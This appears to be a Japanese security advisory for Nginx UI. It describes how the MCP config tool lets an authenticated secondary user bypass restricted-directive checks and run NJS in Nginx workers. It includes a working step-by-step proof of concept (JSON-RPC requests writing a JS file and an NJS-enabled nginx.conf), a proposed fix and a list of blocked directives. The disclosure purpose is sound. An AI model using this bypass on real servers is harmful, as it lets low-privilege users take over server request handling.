Nginx UI: MCP設定ツールは、制限されたディレクティブの検証を回避し、認証されたセカンダリユーザーがNginxのワーカーコンテキスト内でNJSを実行できるようにする。

## 概要

通常のHTTP設定APIでは、`load_module`、`js_import`、`js_content`などの制限されたNginxディレクティブは拒否されます。

しかし、MCP設定インターフェースでは、認証されたセカンダリユーザーが、同等の制限された設定内容を記述し、適用することができます。実験環境では、これによりユーザーは`ngx_http_js_module.so`をロードし、攻撃者によって制御されたJavaScriptをインポートし、Nginxをリロードし、Nginxのワーカーコンテキスト内でNJSを実行することができました。

これは認証が必要であり、それ自体ではOSコマンドの実行ではありません。

## 影響を受けるコンポーネント

- `/mcp`
- `/mcp_message`
- MCPツール: `nginx_config_add`
- Nginx設定の検証

## 影響

認証されたセカンダリユーザーは、HTTP APIによって強制される制限されたディレクティブの検証を回避し、Nginxのワーカーコンテキスト内で攻撃者によって制御されたNJSを実行することができます。

これにより、Nginxの実行時の動作、例えばレスポンス、ルーティング、ヘッダー、リダイレクト、リクエスト処理などが変更される可能性があります。

## 最小限のPoC(概念実証)

### 前提条件

- 攻撃者が、セカンダリ認証されたNginx UIアカウントを持っていること。
- MCPが有効になっていること。
- NginxがNJSを利用できるように設定されていること:

```bash
find / -name "ngx_http_js_module.so" 2>/dev/null
```

実験環境で確認されたパス:

```text
/usr/lib/nginx/modules/ngx_http_js_module.so
```

### 1. HTTP APIが制限された設定をブロックする

リクエスト:

```http
POST /api/configs
Authorization: <SECONDARY_USER_JWT>
Content-Type: application/json
```

リクエストボディ:

```json
{
"name": "nginx.conf",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nevents { worker_connections 1024; }\n\nhttp {\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n"
}
```

確認された結果:

コンテンツに、load_module/js_import/js_content などの制限付きのディレクティブが含まれているため、拒否されました。

### 2. MCP で JavaScript ファイルを作成する

MCP セッションを開き、`tools/call` を次のように呼び出します。

```json
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "poc.js",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "function handler(r) { r.return(200, \"MCP_NJS_MARKER\\n\"); }\nexport default { handler };\n"
}
}
}
```

### 3. NJS を有効にした nginx.conf を MCP で作成する

再度 `tools/call` を呼び出します。

```json
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "nginx.conf",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nerror_log /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { worker_connections 1024; }\n\nhttp {\n default_type application/octet-stream;\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n"
}
}
}
```

### 4. NJS の実行を確認する

Nginx UI コンテナ内で、次のコマンドを実行します。

```bash
curl -i http://127.0.0.1:18249/__poc
```

確認された応答:

```http
HTTP/1.1 200 OK

MCP_NJS_MARKER
```

これにより、HTTP API で拒否されたコンテンツが MCP を介して適用され、Nginx のワーカーコンテキストで NJS として実行されることが確認されます。

## 期待される動作

MCP の設定ツールは、HTTP API と同じ制限付きディレクティブの検証を適用する必要があります。

## 提案される修正

MCP の設定書き込み前に `ValidateConfigFile(path, content)` を実行し、HTTP API と MCP が、以下の制限付きディレクティブに関する検証テストを共有するようにします。

- `load_module`
- `js_import`
- `js_content`
- `js_set`
- `perl_set`
- `user root`

影響を受けるパッケージ:
- go github.com/0xJacky/Nginx-UI: 影響を受けるバージョンは 1.9.10-0.20260703131214-23d1934099b0 未満、修正されたバージョンは 1.9.10-0.20260703131214-23d1934099b0。